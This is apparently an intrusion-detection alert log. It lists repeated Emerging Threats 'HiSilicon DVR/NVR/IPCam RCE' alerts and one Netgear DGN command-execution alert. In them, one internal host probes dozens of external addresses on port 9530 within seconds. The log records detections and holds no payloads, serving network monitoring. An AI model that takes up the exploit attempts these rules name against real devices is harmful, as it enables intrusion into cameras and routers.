Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 76.56.85.41

Timestamp:	05/16/24-16:38:50.069048
SID:	2030488
Source Port:	33738
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 76.56.85.41

Timestamp:	05/16/24-16:38:50.069048
SID:	2030487
Source Port:	33738
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 117.213.100.149

Timestamp:	05/16/24-16:39:02.746067
SID:	2030488
Source Port:	44812
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 117.213.100.149

Timestamp:	05/16/24-16:39:02.746067
SID:	2030487
Source Port:	44812
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 122.68.141.252

Timestamp:	05/16/24-16:38:59.519258
SID:	2030487
Source Port:	55140
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.68.141.252

Timestamp:	05/16/24-16:38:59.519258
SID:	2030488
Source Port:	55140
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 43.59.55.114

Timestamp:	05/16/24-16:39:03.281178
SID:	2030488
Source Port:	42374
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 43.59.55.114

Timestamp:	05/16/24-16:39:03.281178
SID:	2030487
Source Port:	42374
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 180.238.50.45

Timestamp:	05/16/24-16:39:05.706098
SID:	2030488
Source Port:	46388
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 182.104.57.228

Timestamp:	05/16/24-16:39:16.581471
SID:	2030488
Source Port:	50594
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 180.238.50.45

Timestamp:	05/16/24-16:39:05.706098
SID:	2030487
Source Port:	46388
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 182.104.57.228

Timestamp:	05/16/24-16:39:16.581471
SID:	2030487
Source Port:	50594
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 158.131.1.161

Timestamp:	05/16/24-16:39:13.657143
SID:	2024916
Source Port:	33530
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 184.105.190.235

Timestamp:	05/16/24-16:39:16.581452
SID:	2030488
Source Port:	46444
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 184.105.190.235

Timestamp:	05/16/24-16:39:16.581452
SID:	2030487
Source Port:	46444
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 142.11.234.114

Timestamp:	05/16/24-16:38:57.303968
SID:	2030488
Source Port:	52832
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 171.109.89.253

Timestamp:	05/16/24-16:39:08.045049
SID:	2030487
Source Port:	50460
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.109.89.253

Timestamp:	05/16/24-16:39:08.045049
SID:	2030488
Source Port:	50460
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 61.124.174.72

Timestamp:	05/16/24-16:38:59.592937
SID:	2030487
Source Port:	53918
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 142.11.234.114

Timestamp:	05/16/24-16:38:57.303968
SID:	2030487
Source Port:	52832
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.124.174.72

Timestamp:	05/16/24-16:38:59.592937
SID:	2030488
Source Port:	53918
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.29.252.242

Timestamp:	05/16/24-16:39:14.492302
SID:	2030488
Source Port:	36844
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 137.75.174.149

Timestamp:	05/16/24-16:39:12.378514
SID:	2030487
Source Port:	37070
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 137.75.174.149

Timestamp:	05/16/24-16:39:12.378514
SID:	2030488
Source Port:	37070
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 5.29.252.242

Timestamp:	05/16/24-16:39:14.492302
SID:	2030487
Source Port:	36844
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 74.163.75.232

Timestamp:	05/16/24-16:39:16.597912
SID:	2030487
Source Port:	49042
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 74.163.75.232

Timestamp:	05/16/24-16:39:16.597912
SID:	2030488
Source Port:	49042
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 143.141.79.10

Timestamp:	05/16/24-16:38:50.065061
SID:	2030488
Source Port:	50276
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 143.141.79.10

Timestamp:	05/16/24-16:38:50.065061
SID:	2030487
Source Port:	50276
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 53.171.235.180

Timestamp:	05/16/24-16:39:12.298342
SID:	2030487
Source Port:	51866
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 91.63.224.122

Timestamp:	05/16/24-16:39:12.301137
SID:	2030487
Source Port:	47446
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 91.63.224.122

Timestamp:	05/16/24-16:39:12.301137
SID:	2030488
Source Port:	47446
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 155.126.190.190

Timestamp:	05/16/24-16:39:08.125404
SID:	2030487
Source Port:	42996
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 53.171.235.180

Timestamp:	05/16/24-16:39:12.298342
SID:	2030488
Source Port:	51866
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 42.18.230.193

Timestamp:	05/16/24-16:38:59.519292
SID:	2030488
Source Port:	59086
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 42.18.230.193

Timestamp:	05/16/24-16:38:59.519292
SID:	2030487
Source Port:	59086
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 155.126.190.190

Timestamp:	05/16/24-16:39:08.125404
SID:	2030488
Source Port:	42996
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.126.106.226

Timestamp:	05/16/24-16:38:59.519332
SID:	2030488
Source Port:	34910
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 82.126.106.226

Timestamp:	05/16/24-16:38:59.519332
SID:	2030487
Source Port:	34910
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 9.169.172.160

Timestamp:	05/16/24-16:39:05.677882
SID:	2030487
Source Port:	38248
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 9.169.172.160

Timestamp:	05/16/24-16:39:05.677882
SID:	2030488
Source Port:	38248
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 107.167.162.193

Timestamp:	05/16/24-16:39:16.580744
SID:	2030487
Source Port:	58308
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 150.239.133.66

Timestamp:	05/16/24-16:39:16.612692
SID:	2030487
Source Port:	54730
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 150.239.133.66

Timestamp:	05/16/24-16:39:16.612692
SID:	2030488
Source Port:	54730
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 48.51.165.142

Timestamp:	05/16/24-16:38:50.004154
SID:	2030488
Source Port:	58892
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 168.154.218.223

Timestamp:	05/16/24-16:38:50.047742
SID:	2030488
Source Port:	56142
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 48.51.165.142

Timestamp:	05/16/24-16:38:50.004154
SID:	2030487
Source Port:	58892
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 168.154.218.223

Timestamp:	05/16/24-16:38:50.047742
SID:	2030487
Source Port:	56142
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 107.167.162.193

Timestamp:	05/16/24-16:39:16.580744
SID:	2030488
Source Port:	58308
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 54.237.66.112

Timestamp:	05/16/24-16:39:08.041194
SID:	2030487
Source Port:	58970
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 97.118.215.212

Timestamp:	05/16/24-16:39:16.610532
SID:	2030488
Source Port:	45010
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 97.118.215.212

Timestamp:	05/16/24-16:39:16.610532
SID:	2030487
Source Port:	45010
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 38.190.19.58

Timestamp:	05/16/24-16:38:53.100303
SID:	2030487
Source Port:	59748
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 38.190.19.58

Timestamp:	05/16/24-16:38:53.100303
SID:	2030488
Source Port:	59748
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 54.237.66.112

Timestamp:	05/16/24-16:39:08.041194
SID:	2030488
Source Port:	58970
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 131.71.237.2

Timestamp:	05/16/24-16:39:08.041060
SID:	2030487
Source Port:	36064
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 131.71.237.2

Timestamp:	05/16/24-16:39:08.041060
SID:	2030488
Source Port:	36064
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 174.23.23.43

Timestamp:	05/16/24-16:39:08.127329
SID:	2030487
Source Port:	36778
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 48.75.212.59

Timestamp:	05/16/24-16:39:08.136795
SID:	2030488
Source Port:	59082
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 174.23.23.43

Timestamp:	05/16/24-16:39:08.127329
SID:	2030488
Source Port:	36778
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 48.75.212.59

Timestamp:	05/16/24-16:39:08.136795
SID:	2030487
Source Port:	59082
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 129.241.156.191

Timestamp:	05/16/24-16:39:02.745268
SID:	2030488
Source Port:	33374
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 206.14.243.114

Timestamp:	05/16/24-16:39:03.283140
SID:	2030487
Source Port:	49642
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 135.32.253.244

Timestamp:	05/16/24-16:39:05.677782
SID:	2030488
Source Port:	36286
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.14.243.114

Timestamp:	05/16/24-16:39:03.283140
SID:	2030488
Source Port:	49642
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 135.32.253.244

Timestamp:	05/16/24-16:39:05.677782
SID:	2030487
Source Port:	36286
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 129.241.156.191

Timestamp:	05/16/24-16:39:02.745268
SID:	2030487
Source Port:	33374
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 40.234.83.203

Timestamp:	05/16/24-16:38:53.100369
SID:	2030488
Source Port:	42556
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 40.234.83.203

Timestamp:	05/16/24-16:38:53.100369
SID:	2030487
Source Port:	42556
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 174.244.83.163

Timestamp:	05/16/24-16:39:02.765704
SID:	2030488
Source Port:	38312
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 206.160.246.165

Timestamp:	05/16/24-16:38:55.176027
SID:	2030487
Source Port:	45858
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.160.246.165

Timestamp:	05/16/24-16:38:55.176027
SID:	2030488
Source Port:	45858
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 174.244.83.163

Timestamp:	05/16/24-16:39:02.765704
SID:	2030487
Source Port:	38312
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 185.75.156.120

Timestamp:	05/16/24-16:38:53.099138
SID:	2030487
Source Port:	36174
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 185.75.156.120

Timestamp:	05/16/24-16:38:53.099138
SID:	2030488
Source Port:	36174
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 178.243.186.76

Timestamp:	05/16/24-16:39:08.044855
SID:	2030487
Source Port:	59978
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.243.186.76

Timestamp:	05/16/24-16:39:08.044855
SID:	2030488
Source Port:	59978
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 206.43.18.75

Timestamp:	05/16/24-16:39:08.041802
SID:	2030487
Source Port:	42572
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 139.159.187.152

Timestamp:	05/16/24-16:38:59.557716
SID:	2030487
Source Port:	42034
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 139.159.187.152

Timestamp:	05/16/24-16:38:59.557716
SID:	2030488
Source Port:	42034
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.43.18.75

Timestamp:	05/16/24-16:39:08.041802
SID:	2030488
Source Port:	42572
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 219.12.145.90

Timestamp:	05/16/24-16:38:57.305780
SID:	2030487
Source Port:	33680
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 187.199.29.140

Timestamp:	05/16/24-16:39:16.580434
SID:	2030488
Source Port:	45740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 187.199.29.140

Timestamp:	05/16/24-16:39:16.580434
SID:	2030487
Source Port:	45740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 219.12.145.90

Timestamp:	05/16/24-16:38:57.305780
SID:	2030488
Source Port:	33680
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 159.253.40.75

Timestamp:	05/16/24-16:38:57.407572
SID:	2030487
Source Port:	41800
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 159.253.40.75

Timestamp:	05/16/24-16:38:57.407572
SID:	2030488
Source Port:	41800
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 204.154.69.15

Timestamp:	05/16/24-16:39:02.748794
SID:	2030487
Source Port:	36160
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 204.154.69.15

Timestamp:	05/16/24-16:39:02.748794
SID:	2030488
Source Port:	36160
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 27.220.111.215

Timestamp:	05/16/24-16:39:14.493546
SID:	2030487
Source Port:	44406
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 168.89.167.182

Timestamp:	05/16/24-16:39:03.284741
SID:	2030488
Source Port:	39142
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 71.85.226.131

Timestamp:	05/16/24-16:38:50.004289
SID:	2030488
Source Port:	33218
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 71.85.226.131

Timestamp:	05/16/24-16:38:50.004289
SID:	2030487
Source Port:	33218
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 27.220.111.215

Timestamp:	05/16/24-16:39:14.493546
SID:	2030488
Source Port:	44406
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 205.195.108.129

Timestamp:	05/16/24-16:39:02.767744
SID:	2030488
Source Port:	42196
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 205.195.108.129

Timestamp:	05/16/24-16:39:02.767744
SID:	2030487
Source Port:	42196
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 92.157.250.56

Timestamp:	05/16/24-16:39:08.041855
SID:	2030488
Source Port:	39272
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 92.157.250.56

Timestamp:	05/16/24-16:39:08.041855
SID:	2030487
Source Port:	39272
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 168.89.167.182

Timestamp:	05/16/24-16:39:03.284741
SID:	2030487
